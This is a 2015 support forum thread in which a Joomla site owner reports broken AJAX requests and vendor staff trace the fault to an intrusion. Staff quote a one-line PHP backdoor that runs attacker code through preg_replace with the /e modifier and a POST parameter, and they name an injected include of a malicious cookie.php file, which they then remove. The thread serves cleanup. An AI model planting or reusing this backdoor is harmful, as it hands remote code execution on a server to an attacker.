By Paul Varney on Friday, 06 November 2015
Posted in Technical Issues
Likes 0
Views 1.1K
Votes 0
Hi

Getting an error when trying to create an event...popup appears with the message 'Parse error. unable to load content'

Searched forums and the only related thing that I found regarded having an index.html ....but I haven't got that!
It's funny as it's been working fine for ages!

however, a few days ago my site suddenly went blank, with and php error showing an error on line 10 of the file libraries/vendor/joomla/utilities/src/ArrayHelper.php

I ended up commenting out the top line just to get the site to work..so I assume that it might be something to do with this....maybe!

The only thing that I added on Wednesday was an Instgram module on the news page....but disabling this didn't make any difference.

Thanks
Paul
Hi Paul,

I am really sorry for the delay of this reply.

I've performed some extensive debugging on your site and confirm that the issue is not coming from your server and also from our components. I've dumped a variable inside your joomla root folder/index.php and the string "nobody" is not exist there. However When I tried to dump a variable inside /administrator/components/com_easyblog/easyblog.php at the very first line inside the file where nothing is getting executed yet, the string "nobody" is exist.

This could only means that something between your joomla and easyblog component are adding those variable thus messing up the ajax. After several hours of checking, the investigation leads me to the following file here /libraries/joomla/filesystem/path.php where it will trying to get the path for your cache. Guess what I found inside the file?
include_once '/libraries/joomla/cache/storage/cookie.php';


The above code will lead your site to redirect to cookie.php that contain some malicious code. I've removed the above code and your ajax is now working correctly. Can you check this again and see how it goes?
·
Thursday, 12 November 2015 13:12
·
0 Likes
·
0 Votes
·
0 Comments
·
Quick update....adding quick posts, blog images and posts also have same problem

Tooltip content won't load either.....e.g. hovering over member's avatars......
·
Friday, 06 November 2015 22:56
·
0 Likes
·
0 Votes
·
0 Comments
·
Hi Paul,

Regarding your issue, it seems like any ajax request made on your site failed Also, i did look at the file 'libraries/vendor/joomla/utilities/src/ArrayHelper.php.bk' and it seems like your this file has the malicious code at line 1:


@preg_replace('/(.*)/e', @$_POST['vzkoogdlap'], '');


This seems like some malicious code that added in your php files. I not sure if this ArrayHelper.php has any impact to your site but the issue now is, any ajax request made to your server, the response always append with below code and causing the error message 'parse error, unable to load content.'

<!-- l: nobody -->


Did you recently make any changes to your server configuration? Like upgraded your PHP version or added any new php library or php module into your server?

Please advise.
Sam
·
Saturday, 07 November 2015 00:05
·
0 Likes
·
0 Votes
·
0 Comments
·
I haven't changed any php on the server that I'm aware of.

As I said, the Instagram module was the last thing I added, but prior to that it's only been stackideas updates and the latest Joomla core one.

I assume that since I've commented this offending line out in the bk file and deleted it in the php one in the same folder and the issue isn't solved then the problem is elsewhere

Thanks for your help so far
Paul
·
Saturday, 07 November 2015 00:42
·
0 Likes
·
0 Votes
·
0 Comments
·
Hi Paul,

I am really sorry for the delay of this reply as it weekends for all of us here.

The only clue that we got currently is the extra parameter for every ajax called on your site as you can see from my screenshot here, http://screencast.com/t/BWDzI9eaDy and we have no idea where this string came from. We will continue to debug on your site and hopefully will be able to find the exact cause to this issue.
·
Monday, 09 November 2015 13:18
·
0 Likes
·
0 Votes
·
0 Comments
·
Thanks for this Ezrul.

Really hope you find it as I'm completely confused as to why this has happened!!

Many thanks and good luck!!

Paul
·
Monday, 09 November 2015 22:41
·
0 Likes
·
0 Votes
·
0 Comments
·
How's this going, Ezrul?

I know you're all busy but the site's live and I'm in a bit of a mess!
Have gone through the last plugins installed and disabled to check if that's the cause, but the fault still persists.

It just seems to have started for no apparent reason!!
·
Tuesday, 10 November 2015 21:31
·
0 Likes
·
0 Votes
·
0 Comments
·
Just found out....no-one can register on the site either!!!
·
Tuesday, 10 November 2015 22:41
·
0 Likes
·
0 Votes
·
0 Comments
·
just to rule out server changes....

I've was recommended to upgrade to php 5.5 on october 25th....but as I haven't requested it, I'm still running php 5.4
·
Wednesday, 11 November 2015 09:16
·
0 Likes
·
0 Votes
·
0 Comments
·
Hi Paul,

I am really sorry for the delay of this reply as it public holiday for all of us here.

We are still investigating on the issue but we are not able to find a new lead on the issue here. By right your current php version should work and it has nothing to do with the ajax issue here. Perhaps you can try to consult with your webhosting provider and ask them if they somehow add some sort of rule to block or altering the behavior of each ajax called made from your site?
·
Wednesday, 11 November 2015 13:39
·
0 Likes
·
0 Votes
·
0 Comments
·
The only thing that they have changed is updating php minor version from php 5.4.44 to 5.4.45

Nothing else.

Am at a complete loss what to do now. I've disabled/re-enabled loads of plugins etc but nothing seems to work

Many thanks for your help so far.
Paul
·
Wednesday, 11 November 2015 18:55
·
0 Likes
·
0 Votes
·
0 Comments
·
Just trying to think of other ways....

Would unzipping a new joomla package in public_html help? Overwrite the core files?

Have also asked if server management have a slightly older backup of the site that they could reinstall to roll back any changes that have been made. I've got one in the site root direc for Oct 7th, but don't really want to roll back that far, especially as I think this was the backup that I took before updating some stackidea products!!
·
Wednesday, 11 November 2015 19:37
·
0 Likes
·
0 Votes
·
0 Comments
·
Can I ask about this scenario?

Could I do this and would it solve the issue?

If I rolled back the site using the backup from Oct 7th and then imported the present databases...would that probably get rid of the issue by overwriting the base files? How would this affect updates that I've already applied to your products?
Or
It's just that over the last month I've had a lot of new members, blogs, events etc that I can't really afford to lose?
Or
Would I have to only import certain tables?

what do you think?
·
Wednesday, 11 November 2015 20:53
·
0 Likes
·
0 Votes
·
0 Comments
·
Hey Paul,

I am not really sure if rolling back would help but it's best to figure out the source of the problem. 2 things here,

1. When I am logged into the FTP, which is the folder that houses your site?

2. There are a lot of index.php?option=com_easysocial files on your ftp and I believe this is probably caused by an incorrect cron setup. Can you please get your hosting provider to remove these files from the site?
·
Thursday, 12 November 2015 01:08
·
0 Likes
·
0 Votes
·
0 Comments
·
Am deleting the files as I write..yeah..think I've not added the right commands to stop these files being written!

the site is housed in public_html

Many thanks
Paul
·
Thursday, 12 November 2015 02:22
·
0 Likes
·
0 Votes
·
0 Comments
·
WOW!

What can I say except a massive, massive thanks

I really don't know what I'd have done if you hadn't have solved this and, although I don't wish this problem on anyone else, at least if it does happen to someone else you'll be able to solve it in a jiffy!

Once again, many thanks. Your support has always been brilliant....and it's just become AWESOME!!

Paul
·
Thursday, 12 November 2015 21:09
·
0 Likes
·
0 Votes
·
0 Comments
·
Thanks for updating us on this Paul and I am really glad that your issues are resolved now. You should really look into your site though and ensure that no other files are affected.
·
Thursday, 12 November 2015 23:53
·
0 Likes
·
0 Votes
·
0 Comments
·
View Full Post